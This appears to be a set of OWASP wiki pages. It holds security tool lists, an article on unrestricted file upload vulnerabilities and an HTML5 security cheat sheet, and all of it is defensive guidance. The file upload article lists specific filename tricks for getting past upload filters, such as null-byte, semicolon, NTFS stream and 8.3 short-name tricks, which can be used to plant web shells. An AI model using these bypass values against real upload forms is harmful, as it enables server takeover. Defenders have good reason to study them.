* [http://www.artofdefence.com/en/products/hyperguard.html art of defence - hyperguard]
* [https://www.trustwave.com/web-application-firewall/ Trustwave - WebDefend Web Application Firewall]
* [http://fortifysoftware.com/products/defender/ Fortify Software - Defender]
* [http://www.imperva.com/products/securesphere/web_application_firewall.html Imperva - SecureSphere™]
* [http://www.pentasecurity.com/english/product/webWppleIntro.do Penta Security - WAPPLES]
* [http://www.bayshorenetworks.com/ Bayshore Networks - Application Protection Platform]

===Other well-known commercial tools of this type===

* [http://www.akamai.com/html/solutions/waf.html Akamai Technologies - Web Application Firewall (WAF)]
* [http://www.denyall.com/ DenyAll - Web Application Firewall (WAF)]
* [http://www.applicure.com Applicure - DotDefender]
* [http://www.port80software.com/products/serverdefendervp/ Port80 Software - ServerDefender VP]
* [http://www.radware.com/Solutions/Enterprise/Security/WebApplicationFirewall.aspx Radware AppWall]
* [http://www.armorlogic.com/ Armorlogic - Profense]
* [http://www.barracudanetworks.com/ns/products/web-application-controller-overview.php Barracuda Networks - Application Firewall]
* [http://www.bee-ware.net/en/products/i-suite-platform Bee Ware – i-Suite]
* [http://binarysec.com/ BinarySec - Application Firewall]
* [http://www.bugsec.com/index.php?q=WebSniper BugSec - WebSniper]
* [http://www.cisco.com/en/US/products/ps9586/index.html Cisco - ACE Web Application Firewall]
* [http://www.citrix.com/English/ps2/products/product.asp?contentID=25636 Citrix - Application Firewall]
* [http://www.eeye.com/html/products/secureiis/index.html eEye Digital Security - SecureIIS]
* [http://www.f5.com/products/big-ip/product-modules/application-security-manager.html F5 - Application Security Manager]
* [http://forumsys.com/ Forum Systems - Xwall, Sentry]
* [http://www.webscurity.com/products.htm mWEbscurity - webApp.secure]
* [http://www.ergon.ch/en/airlock/ Ergon - Airlock]
* [http://www.privacyware.com/intrusion_prevention.html Privacyware - ThreatSentry IIS Web Application Firewall]
* [http://www.protegrity.com/WebApplicationFirewall Protegrity - Defiance TMS - Web Application Firewall]
* [http://www.xtradyne.com/ Xtradyne - Application Firewalls]

[[Category: Control]]
[[Category: OWASP WAF]]

Template:Countermeasure

2014-06-04T15:58:21Z

Christina Schelin:

<includeonly>''This is a countermeasure. To view all countermeasures, please see the [[:Category:Countermeasure|Countermeasure Category]] page.''

[[Category:Countermeasure]]</includeonly>

Source Code Analysis Tools

2014-05-08T18:56:56Z

Christina Schelin: Tidying

Source code analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with such a high degree of confidence that what's found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that just automatically finds flaws.

Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development life cycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful, especially when compared to finding vulnerabilities much later in the development cycle.

== Strengths and weaknesses ==

=== Strengths ===

* Scales well -- can be run on lots of software, and can be repeatedly (as with nightly builds)
* Useful for things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, and so forth
* Output is good for developers -- highlights the precise source files and line numbers that are affected

=== Weaknesses ===

* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.
* High numbers of false positives.
* Frequently can't find configuration issues, since they are not represented in the code.
* Difficult to 'prove' that an identified security issue is an actual vulnerability.
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.

==Important selection criteria==

* Requirement: Must support your language, but not usually a key factor once it does.
* Types of vulnerabilities it can detect (out of the [[OWASP Top Ten]]?) (plus more?)
* Does it require a fully buildable set of source?
* Can it run against binaries instead of source?
* Can it be integrated into the developer's IDE?
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)

==OWASP Tools Of This Type==

* [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]]
* [[OWASP O2 Platform]]

==Disclaimer==

Disclaimer: The tools listed in the tables below are presented in alphabetical order. OWASP does not endorse any of the vendors or tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think that this information is incomplete or incorrect, please send an e-mail to our mailing list and we will make every effort to correct this information.

==Open Source or Free Tools Of This Type==

* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] - Utilizes Google Code Search to identifies vulnerabilities in open source code projects hosted by Google Code, MS CodePlex, SourceForge, Github, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, and much more. ''Essentially, Google CodeSearchDiggity provides a source code security analysis of nearly every single open source code project in existence – simultaneously.''
* [http://findbugs.sourceforge.net/ FindBugs] - Find Bugs (including some security flaws) in Java Programs
* [http://msdn.microsoft.com/en-us/library/bb429476(VS.80).aspx FxCop] (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.
* [http://pmd.sourceforge.net/ PMD] - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx PreFast] (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html RATS] (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions
* [https://www.owasp.org/index.php/Category:OWASP_SWAAT_Project OWASP SWAAT Project] - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP
* [http://www.dwheeler.com/flawfinder/ Flawfinder] Flawfinder - Scans C and C++
* [http://sourceforge.net/projects/rips-scanner/ RIPS] - RIPS is a static source code analyzer for vulnerabilities in PHP web applications
* [http://brakemanscanner.org/ Brakeman] - Brakeman is an open source vulnerability scanner specifically designed for Ruby on Rails applications
* [http://rubygems.org/gems/codesake-dawn Codesake Dawn] - Codesake Dawn is an open source security source code analyzer designed for Sinatra, Padrino and Ruby on Rails applications. It can work also for non web application wrote in Ruby programming language
* [http://sourceforge.net/projects/visualcodegrepp/ VCG] - Scans C/C++, Java, C# and PL/SQL for security issues and for comments which may indicate defective code. The config files can be used to carry out additional checks for banned functions or functions which commonly cause security issues.

==Commercial Tools Of This Type==

* [http://www.contrastsecurity.com/ Contrast from Contrast Security]
** Contrast is not a static analysis tool like these others. It instruments the running application and provides code level results, but doesn't actually perform static analysis. It monitors the code that is actually running.
* [http://www-01.ibm.com/software/rational/products/appscan/source/ IBM Security AppScan Source Edition] (formerly Ounce)
* [http://www.klocwork.com/products/insight.asp Insight] (KlocWork)
* [http://www.parasoft.com/jsp/capabilities/static_analysis.jsp?itemId=547 Parasoft Test] (Parasoft)
* [http://www.quotium.com/prod/security.php Seeker] ([http://www.quotium.com/ Quotium])
** Seeker performs code security without actually doing static analysis. Seeker does Interactive Application Security Testing (IAST), correlating runtime code & data analysis with simulated attacks. It provides code level results without actually relying on static analysis.
* [http://www.sourcepatrol.co.uk/ Source Patrol] (Pentest)
* [http://www.armorize.com/codesecure/ Static Source Code Analysis with CodeSecure™] (Armorize Technologies)
* [http://www.checkmarx.com/technology/static-code-analysis-sca/ Static Code Analysis] (Checkmarx)
* [http://www.coverity.com/products/security-advisor.html Security Advisor] (Coverity)
* [https://www.fortify.com/products/hpfssc/source-code-analyzer.html Source Code Analysis] (HP/Fortify)
* [http://www.veracode.com/ Veracode] (Veracode)

==More info==


* [[Appendix_A:_Testing_Tools | Appendix A: Testing Tools]]
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers NIST's list of Source Code Security Analysis Tools]

[[Category:OWASP .NET Project]]

__NOTOC__

Unrestricted File Upload

2014-02-04T15:53:14Z

Christina Schelin:

{{Template:Vulnerability}}

Author(s):
*[[User:Soroush Dalili|Soroush Dalili]]
*[[User:Dirk Wetter|Dirk Wetter]]
*[[User:OWASP|OWASP]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

[[ASDR TOC Vulnerabilities|Vulnerabilities Table of Contents]]

== Description ==

Uploaded files represent a significant risk to applications. The first step in many attacks is to get some code to the system to be attacked. Then the attack only needs to find a way to get the code executed. Using a file upload helps the attacker accomplish the first step.

The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, and simple defacement. It depends on what the application does with the uploaded file and especially where it is stored.

There are really two classes of problems here. The first is with the file metadata, like the path and file name. These are generally provided by the transport, such as HTTP multi-part encoding. This data may trick the application into overwriting a critical file or storing the file in a bad location. You must validate the metadata extremely carefully before using it.

The other class of problem is with the file size or content. The range of problems here depends entirely on what the file is used for. See the examples below for some ideas about how files might be misused. To protect against this type of attack, you should analyze everything your application does with files and think carefully about what processing and interpreters are involved.

== Risk Factors ==

* The impact of this vulnerability is high, supposed code can be executed in the server context or on the client. The likelihood of a detection for the attacker is high. The prevalence is common. As a result the severity of this type of vulnerability is High.
* The web server can be compromised by uploading and executing a web-shell which can run commands, browse system files, browse local resources, attack other servers, and exploit the local vulnerabilities, and so forth. This may also result in a defacement.
* An attacker might be able to put a phishing page into the website.
* An attacker might be able to put stored XSS into the website.

* This vulnerability can make the website vulnerable to some other types of attacks such as [[Cross-site Scripting (XSS)|XSS]].
* Picture uploads may trigger vulnerabilities in broken picture libraries on a client (libtiff, IE had problems in the past) if the picture is published 1:1.
* Script code or other code may be embedded in the uploaded file, which gets executed if the picture is published 1:1.
* Local vulnerabilities of real-time monitoring tools, such as an antivirus, can be exploited.
* A malicious file (Unix shell script, windows virus, reverse shell) can be uploaded on the server in order to execute code by an administrator or webmaster later -- on the server or on a client of the admin or webmaster.
* The web server might be used as a server in order to host of malware, illegal software, porn, and other objects.

== Examples ==

=== Attacks on application platform ===

*Upload .jsp file into web tree - jsp code executed as web user
*Upload .gif to be resized - image library flaw exploited
*Upload huge files - file space denial of service
*Upload file using malicious path or name - overwrite critical file
*Upload file containing personal data - other users access it
*Upload file containing "tags" - tags get executed as part of being "included" in a web page

=== Attacks on other systems ===

*Upload .exe file into web tree - victims download trojaned executable
*Upload virus infected file - victims' machines infected
*Upload .html file containing script - victim experiences [[Cross-site Scripting (XSS)]]

== Weak Protection Methods and Methods of Bypassing ==

=== Using Black-List for Files’ Extensions ===

Some web applications still use only a black-list of extensions to prevent from uploading a malicious file.

*It is possible to bypass this protection by using some extensions which are executable on the server but are not mentioned in the list. (Example: “file.php5”, “file.shtml”, “file.asa”, or “file.cer”)
*Sometimes it is possible to bypass this protection by changing some letters of extension to the capital form (example: “file.aSp” or “file.PHp3”).
*Using trailing spaces and/or dots at the end of the filename can sometimes cause bypassing the protection. These spaces and/or dots at the end of the filename will be removed when the file wants to be saved on the hard disk automatically. The filename can be sent to the server by using a local proxy or using a simple script (example: “file.asp ... ... . . .. ..”, “file.asp ”, or “file.asp.”).
*A web-server may use the first extension after the first dot (“.”) in the file name or use a specific priority algorithm to detect the file extension. Therefore, protection can be bypassed by uploading a file with two extensions after the dot character. The first one is forbidden, and the second one is permitted (example: “file.php.jpg”).
*In case of using IIS6 (or prior versions), it might be possible to bypass this protection by adding a semi-colon after the forbidden extension and before the permitted extension (example: “file.asp;.jpg”).
*In case of using IIS6 (or prior versions), it might be possible to bypass this protection by putting an executive file such as ASP with another extension in a folder which ends with an executive extension such as “.asp” (example: “folder.asp\file.txt”). Besides, it is possible to create a directory just by using a file uploader and ADS (Alternate Data Stream). In this method, filename should end with “::$Index_Allocation” or “:$I30:$Index_Allocation” to create a directory instead of a file (example: “newfolder.asp::$Index_Allocation” creates “newfolder.asp” as a new directory).
*This protection can be completely bypassed by using the e.g. control characters like Null (0x00) after the forbidden extension and before the permitted one. In this method, during the saving process all the strings after the Null character will be discarded. Putting a Null character in the filename can be simply done by using a local proxy or by using a script (example: “file.asp%00.jpg”). Besides, it would be perfect if the Null character is inserted directly by using the Hex view option of a local proxy such as Burpsuite or Webscarab in the right place (without using %).
*It is also possible to create a file with a forbidden extension by using NTFS alternate data stream (ADS). In this case, a “:” sign will be inserted after the forbidden extension and before the permitted one. As a result, an empty file with the forbidden extension will be created on the server (example: “file.asp:.jpg”). Attacker can try to edit this file later to execute his/her malicious codes. However, an empty file is not always good for an attacker. So, there is an invented method by the author of this paper in which an attacker can upload a non-empty shell file by using the ADS. In this method, a forbidden file can be uploaded by using this pattern: “file.asp::$data.”.
*In Windows Servers, it is possible to replace the files by using their short-name (8.3). (example: “web.config” can be replaced by uploading “web~1.con”)
*Sometimes combination of the above can lead to bypassing the protections.

=== Using White-List for Files’ Extensions ===

Many web applications use a white-list to accept the files’ extensions. Although using white-list is one of the recommendations, it is not enough on its own. Without having input validation, there is still a chance for an attacker to bypass the protections.

*the 3rd, 4th, 5th, and 6th methods of last section apply here as well.
*The list of permitted extensions should be reviewed as it can contain malicious extension as well. For instance, in case of having “.shtml” in the list, the application can be vulnerable to SSI attacks.

=== Using “Content-Type” from the Header ===

“Content-Type” entity in the header of the request indicates the Internet media type of the message content . Sometimes web applications use this parameter in order to recognize a file as a good one. For instance, they only accept the files with the “Content-Type” of “text/plain”.

*It is possible to bypass this protection by changing this parameter in the request header by using a local proxy.

=== Using a File Type Recogniser ===

Sometimes web applications intentionally or unintentionally use some functions (or APIs) to check the type of the file in order to do further process. For instance, in case of having image resizing, it is probable to have image type recogniser.

*Sometimes the recognisers just read the few first characters (or header) of the files in order to check them. In this case, an attacker can insert the malicious code after some valid header.
*There are always some places in the structure of the files which are for the comments section and have no effect on the main file. And, an attacker can insert malicious codes in these points.
*Also, it is not impossible to think about a file modifier (for example an image resizer) which produces malicious codes itself in case of receiving special input.

== Prevention Methods (Solutions to be more secure) ==
In order to make a Windows server more secure, it is very important to follow the Microsoft security best practices first. For this purpose, some of the useful links are:
*IIS 6.0 Security Best Practices[http://technet.microsoft.com/en-us/library/cc782762(WS.10).aspx]
*Securing Sites with Web Site Permissions[http://technet.microsoft.com/en-us/library/cc756133(WS.10).aspx]
*IIS 6.0 Operations Guide[http://technet.microsoft.com/en-us/library/cc785089(WS.10).aspx]
*Improving Web Application Security: Threats and Countermeasures[http://msdn.microsoft.com/en-us/library/ms994921.aspx]
*Understanding the Built-In User and Group Accounts in IIS 7.0[http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/]
*IIS Security Checklist[http://windows.stanford.edu/docs/IISsecchecklist.htm]
And some special recommendations for the developers and webmasters:
*Never accept a filename and its extension directly without having a white-list filter.
*It is necessary to have a list of only permitted extensions on the web application. And, file extension can be selected from the list. For instance, it can be a “select case” syntax (in case of having VBScript) to choose the file extension in regard to the real file extension.
*All the control characters and Unicode ones should be removed from the filenames and their extensions without any exception. Also, the special characters such as “;”, “:”, “>”, “<”, “/” ,”\”, additional “.”, “*”, “%”, “$”, and so on should be discarded as well. If it is applicable and there is no need to have Unicode characters, it is highly recommended to only accept Alpha-Numeric characters and only 1 dot as an input for the file name and the extension; in which the file name and also the extension should not be empty at all (regular expression: [a-zA-Z0-9]{1,200}\.[a-zA-Z0-9]{1,10}).
*Limit the filename length. For instance, the maximum length of the name of a file plus its extension should be less than 255 characters (without any directory) in an NTFS partition.
*It is recommended to use an algorithm to determine the filenames. For instance, a filename can be a MD5 hash of the name of file plus the date of the day.
*Uploaded directory should not have any “execute” permission.
*Limit the file size to a maximum value in order to prevent denial of service attacks (on file space or other web application’s functions such as the image resizer).
*Restrict small size files as they can lead to denial of service attacks. So, the minimum size of files should be considered.
*Use Cross Site Request Forgery protection methods.
*Prevent from overwriting a file in case of having the same hash for both.
*Use a virus scanner on the server (if it is applicable). Or, if the contents of files are not confidential, a free virus scanner website can be used. In this case, file should be stored with a random name and without any extension on the server first, and after the virus checking (uploading to a free virus scanner website and getting back the result), it can be renamed to its specific name and extension.
*Try to use POST method instead of PUT (or GET!)
*Log users’ activities. However, the logging mechanism should be secured against log forgery and code injection itself.
*In case of having compressed file extract functions, contents of the compressed file should be checked one by one as a new file.

== Related [[Attacks]] ==

* [[Path Traversal]]
* [[Path Manipulation]]
* [[Relative Path Traversal]]
* [[Windows_::DATA_alternate_data_stream]]

==Related [[Vulnerabilities]]==

* [[:Category:Input Validation Vulnerability]]

== Related [[Controls]] ==

* [[:Category:Input Validation]]

== Related [[Threat Agent]] ==

* [[:Category:External Threat Agent]]
* [[:Category:Internal Threat Agent]]
* [[:Category:Internet attacker]]
* [[:Category:Intranet attacker]]

== Related [[Technical Impacts]] ==

* [[System Access]]
* [[Security Bypass]]
* [[Exposure of system information]]
* [[Exposure of sensitive information]]
* [[Client Side Threat]]

== References ==

*Improve File Uploaders’ Protections – Bypass Methods- Rev. 1.0 http://soroush.secproject.com/blog/2010/03/improve-file-uploaders%e2%80%99-protections-rev-1-0/
*IIS6/ASP & file upload for fun and profit http://blog.48bits.com/2010/09/28/iis6-asp-file-upload-for-fun-and-profit/
*Secure file upload in PHP web applications http://www.net-security.org/dl/articles/php-file-upload.pdf
*Potentially Dangerous File Types http://www.windowsitpro.com/Files/18/27072/Webtable_01.pdf
*Image Upload XSS http://ha.ckers.org/blog/20070603/image-upload-xss/
*Code Execution Through Filenames in Uploads http://ha.ckers.org/blog/20070620/code-execution-through-filenames-in-uploads/
*Secure File Upload Check List With PHP http://hungred.com/useful-information/secure-file-upload-check-list-php/
*NTFS in WikiPedia http://en.wikipedia.org/wiki/NTFS
*NTFS Streams http://msdn.microsoft.com/en-us/library/ff469210(v=PROT.10).aspx
*NTFS - Glossary http://inform.pucp.edu.pe/~inf232/Ntfs/ntfs_doc_v0.5/help/glossary.html
*IIS 6.0 Security Best Practices http://technet.microsoft.com/en-us/library/cc782762(WS.10).aspx
*Securing Sites with Web Site Permissions http://technet.microsoft.com/en-us/library/cc756133(WS.10).aspx
*IIS 6.0 Operations Guide http://technet.microsoft.com/en-us/library/cc785089(WS.10).aspx
*Improving Web Application Security: Threats and Countermeasures http://msdn.microsoft.com/en-us/library/ms994921.aspx
*Understanding the Built-In User and Group Accounts in IIS 7.0 http://learn.iis.net/page.aspx/140/understanding-the-built-in-user-and-group-accounts-in-iis-70/
*IIS Security Checklist http://windows.stanford.edu/docs/IISsecchecklist.htm
*Microsoft IIS ASP Multiple Extensions Security Bypass http://secunia.com/advisories/37831/
*CVE-2009-4444 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4444
*CVE-2009-4445 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4445
*CVE-2009-1535 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1535

__NOTOC__

[[Category:OWASP ASDR Project]]
[[Category:File System]]
[[Category:Windows]]
[[Category:Unix]]
[[Category:Use of Dangerous API]]
[[Category:Vulnerability]]

HTML5 Security Cheat Sheet

2014-01-21T15:56:38Z

Christina Schelin: Minor tidying.

= Introduction =

The following cheat sheet serves as a guide for implementing HTML 5 in a secure fashion.

= General Guidelines =

== Communication APIs ==

=== Web Messaging ===

Web Messaging (also known as Cross Domain Messaging) provides a means of messaging between documents from different origins in a way that is generally safer than the multiple hacks used in the past to accomplish this task. However, there are still some recommendations to keep in mind:

* When posting a message, explicitly state the expected origin as the second argument to <tt>postMessage</tt> rather than <tt>*</tt> in order to prevent sending the message to an unknown origin after a redirect or some other means of the target window's origin changing.
* The receiving page should '''always''':
** Check the <tt>origin</tt> attribute of the sender to verify the data is originating from the expected location.
** Perform input validation on the <tt>data</tt> attribute of the event to ensure that it's in the desired format.
* Don't assume you have control over the <tt>data</tt> attribute. A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] flaw in the sending page allows an attacker to send messages of any given format.
* Both pages should only interpret the exchanged messages as '''data'''. Never evaluate passed messages as code (e.g. via <tt>eval()</tt>) or insert it to a page DOM (e.g. via <tt>innerHTML</tt>), as that would create a DOM-based XSS vulnerability. For more information see [[DOM based XSS Prevention Cheat Sheet|DOM based XSS Prevention Cheat Sheet]].
* To assign the data value to an element, instead of using a insecure method like <tt>element.innerHTML = data;</tt>, use the safer option: <tt>element.textContent = data;</tt>
* Check the origin properly exactly to match the FQDN(s) you expect. Note that the following code: <tt> if(message.orgin.indexOf(".owasp.org")!=-1) { /* ... */ }</tt> is very insecure and will not have the desired behavior as <tt>www.owasp.org.attacker.com</tt> will match.
* If you need to embed external content/untrusted gadgets and allow user-controlled scripts (which is highly discouraged), consider using a JavaScript rewriting framework such as [http://code.google.com/p/google-caja/ Google Caja] or check the information on [[#Sandboxed frames|sandboxed frames]].

=== Cross Origin Resource Sharing ===

* Validate URLs passed to <tt>XMLHttpRequest.open</tt>. Current browsers allow these URLs to be cross domain; this behavior can lead to code injection by a remote attacker. Pay extra attention to absolute URLs.
* Ensure that URLs responding with <tt>Access-Control-Allow-Origin: *</tt> do not include any sensitive content or information that might aid attacker in further attacks. Use the <tt>Access-Control-Allow-Origin</tt> header only on chosen URLs that need to be accessed cross-domain. Don't use the header for the whole domain.
* Allow only selected, trusted domains in the <tt>Access-Control-Allow-Origin</tt> header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use <tt>*</tt> wildcard nor blindly return the <tt>Origin</tt> header content without any checks).
* Keep in mind that CORS does not prevent the requested data from going to an unauthenticated location. It's still important for the server to perform usual [[Cross-Site Request Forgery (CSRF)|CSRF]] prevention.
* While the RFC recommends a pre-flight request with the <tt>OPTIONS</tt> verb, current implementations might not perform this request, so it's important that "ordinary" (<tt>GET</tt> and <tt>POST</tt>) requests perform any access control necessary.
* Discard requests received over plain HTTP with HTTPS origins to prevent mixed content bugs.
* Don't rely only on the Origin header for Access Control checks. Browser always sends this header in CORS requests, but may be spoofed outside the browser. Application-level protocols should be used to protect sensitive data.

=== WebSockets ===

* Drop backward compatibility in implemented client/servers and use only protocol versions above hybi-00. Popular Hixie-76 version (hiby-00) and older are outdated and insecure.
* The recommended version supported in latest versions of all current browsers is [http://tools.ietf.org/html/rfc6455 RFC 6455] (supported by Firefox 11+, Chrome 16+, Safari 6, Opera 12.50, and IE10).
* While it's relatively easy to tunnel TCP services through WebSockets (e.g. VNC, FTP), doing so enables access to these tunneled services for the in-browser attacker in case of a Cross Site Scripting attack. These services might also be called directly from a malicious page or program.
* The protocol doesn't handle authorization and/or authentication. Application-level protocols should handle that separately in case sensitive data is being transferred.
* Process the messages received by the websocket as data. Don't try to assign it directly to the DOM nor evaluate as code. If the response is JSON, never use the insecure eval() function; use the safe option JSON.parse() instead.
* Endpoints exposed through the <tt>ws://</tt> protocol are easily reversible to plain text. Only <tt>wss://</tt> (WebSockets over SSL/TLS) should be used for protection against Man-In-The-Middle attacks.
* Spoofing the client is possible outside a browser, so the WebSockets server should be able to handle incorrect/malicious input. Always validate input coming from the remote site, as it might have been altered.
* When implementing servers, check the <tt>Origin:</tt> header in the Websockets handshake. Though it might be spoofed outside a browser, browsers always add the Origin of the page that initiated the Websockets connection.
* As a WebSockets client in a browser is accessible through JavaScript calls, all Websockets communication can be spoofed or hijacked through [[Cross Site Scripting Flaw|Cross Site Scripting]]. Always validate data coming through a WebSockets connection.

=== Server-Sent Events ===

* Validate URLs passed to the <tt>EventSource</tt> constructor, even though only same-origin URLs are allowed.
* As mentioned before, process the messages (<tt>event.data</tt>) as data and never evaluate the content as HTML or script code.
* Always check the origin attribute of the message (<tt>event.origin</tt>) to ensure the message is coming from a trusted domain. Use a whitelist approach.

== Storage APIs ==

=== Local Storage ===

*Also known as Offline Storage, Web Storage. Underlying storage mechanism may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
*Use the object sessionStorage instead of localStorage if persistent storage is not needed. sessionStorage object is available only to that window/tab until the window is closed.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to steal all the data in these objects, so again it's recommended not to store sensitive information in local storage.
*A single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into these objects too, so don't consider objects in these to be trusted.
*Pay extra attention to “localStorage.getItem” and “setItem” calls implemented in HTML5 page. It helps in detecting when developers build solutions that put sensitive information in local storage, which is a bad practice.
*Do not store session identifiers in local storage as the data is always accesible by JavaScript. Cookies can mitigate this risk using the <tt>httpOnly</tt> flag.
*There is no way to restrict the visibility of an object to a specific path like with the attribute path of HTTP Cookies, every object is shared within an origin and protected with the Same Origin Policy. Avoid host multiple applications on the same origin, all of them would share the same localStorage object, use different subdomains instead.

=== Client-side databases ===

* On November 2010, the W3C announced Web SQL Database (relational SQL database) as a deprecated specification. A new standard Indexed Database API or IndexedDB (formerly WebSimpleDB) is actively developed, which provides key/value database storage and methods for performing advanced queries.
* Underlying storage mechanisms may vary from one user agent to the next. In other words, any authentication your application requires can be bypassed by a user with local privileges to the machine on which the data is stored. Therefore, it's recommended not to store any sensitive information in local storage.
* If utilized, WebDatabase content on the client side can be vulnerable to SQL injection and needs to have proper validation and parameterization.
* Like Local Storage, a single [[Cross-site_Scripting_(XSS)|Cross Site Scripting]] can be used to load malicious data into a web database as well. Don't consider data in these to be trusted.

== Geolocation ==

* The Geolocation RFC recommends that the user agent ask the user's permission before calculating location. Whether or how this decision is remembered varies from browser to browser. Some user agents require the user to visit the page again in order to turn off the ability to get the user's location without asking, so for privacy reasons, it's recommended to require user input before calling <tt>getCurrentPosition</tt> or <tt>watchPosition</tt>.

== Web Workers ==

* Web Workers are allowed to use <tt>XMLHttpRequest</tt> object to perform in-domain and Cross Origin Resource Sharing requests. See relevant section of this Cheat Sheet to ensure CORS security.
* While Web Workers don't have access to DOM of the calling page, malicious Web Workers can use excessive CPU for computation, leading to Denial of Service condition or abuse Cross Origin Resource Sharing for further exploitation. Ensure code in all Web Workers scripts is not malevolent. Don't allow creating Web Worker scripts from user supplied input.
* Validate messages exchanged with a Web Worker. Do not try to exchange snippets of Javascript for evaluation e.g. via eval() as that could introduce a [[DOM Based XSS|DOM Based XSS]] vulnerability.

== Sandboxed frames ==

* Use the <tt>sandbox</tt> attribute of an <tt>iframe</tt> for untrusted content.
* The <tt>sandbox</tt> attribute of an <tt>iframe</tt> enables restrictions on content within a <tt>iframe</tt>. The following restrictions are active when the <tt>sandbox</tt> attribute is set:
*# All markup is treated as being from a unique origin.
*# All forms and scripts are disabled.
*# All links are prevented from targeting other browsing contexts.
*# All features that triggers automatically are blocked.
*# All plugins are disabled.

It is possible to have a [http://www.whatwg.org/specs/web-apps/current-work/multipage/the-iframe-element.html#attr-iframe-sandbox fine-grained control] over <tt>iframe</tt> capabilities using the value of the <tt>sandbox</tt> attribute.

* In old versions of user agents where this feature is not supported, this attribute will be ignored. Use this feature as an additional layer of protection or check if the browser supports sandboxed frames and only show the untrusted content if supported.
* Apart from this attribute, to prevent Clickjacking attacks and unsolicited framing it is encouraged to use the header <tt>X-Frame-Options</tt> which supports the <tt>deny</tt> and <tt>same-origin</tt> values. Other solutions like framebusting <tt>if(window!== window.top) { window.top.location = location; }</tt> are not recommended.

== Offline Applications ==

* Whether the user agent requests permission to the user to store data for offline browsing and when this cache is deleted varies from one browser to the next. Cache poisoning is an issue if a user connects through insecure networks, so for privacy reasons it is encouraged to require user input before sending any <tt>manifest</tt> file.
* Users should only cache trusted websites and clean the cache after browsing through open or insecure networks.

== Progressive Enhancements and Graceful Degradation Risks ==

* The best practice now is to determine the capabilities that a browser supports and augment with some type of substitute for capabilities that are not directly supported. This may mean an onion-like element, e.g. falling through to a Flash Player if the <video> tag is unsupported, or it may mean additional scripting code from various sources that should be code reviewed.

== HTTP Headers to enhance security ==

=== X-Frame-Options ===

* This header can be used to prevent ClickJacking in modern browsers (IE6/IE7 don't support this header).
* Use the <tt>same-origin</tt> attribute to allow being framed from urls of the same origin or <tt>deny</tt> to block all. Example: <tt>X-Frame-Options: DENY</tt>

=== X-XSS-Protection ===

* Enable XSS filter (only works for Reflected XSS).
* Example: <tt>X-XSS-Protection: 1; mode=block</tt>

=== Strict Transport Security ===

* Force every browser request to be sent over TLS/SSL (this can prevent SSL strip attacks).
* Use includeSubDomains.
* Example: Strict-Transport-Security: max-age=8640000; includeSubDomains

=== Content Security Policy ===

* Policy to define a set of content restrictions for web resources which aims to mitigate web application vulnerabilities such as Cross Site Scripting.
* Example: X-Content-Security-Policy: allow 'self'; img-src *; object-src media.example.com; script-src js.example.com

=== Origin ===

* Sent by CORS/WebSockets requests.
* There is a proposal to use this header to mitigate CSRF attacks, but is not yet implemented by vendors for this purpose.

= Authors and Primary Editors =

{|class="wikitable"
! First !! Last !! Email
|-
| Mark || Roxberry || mark.roxberry [at] owasp.org
|-
| Krzysztof || Kotowicz || krzysztof [at] kotowicz.net
|-
| Will || Stranathan || will [at] cltnc.us
|-
| Shreeraj || Shah || shreeraj.shah [at] blueinfy.net
|-
| Juan Galiana || Lara || jgaliana [at] owasp.org
|}

= Other Cheatsheets =

{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]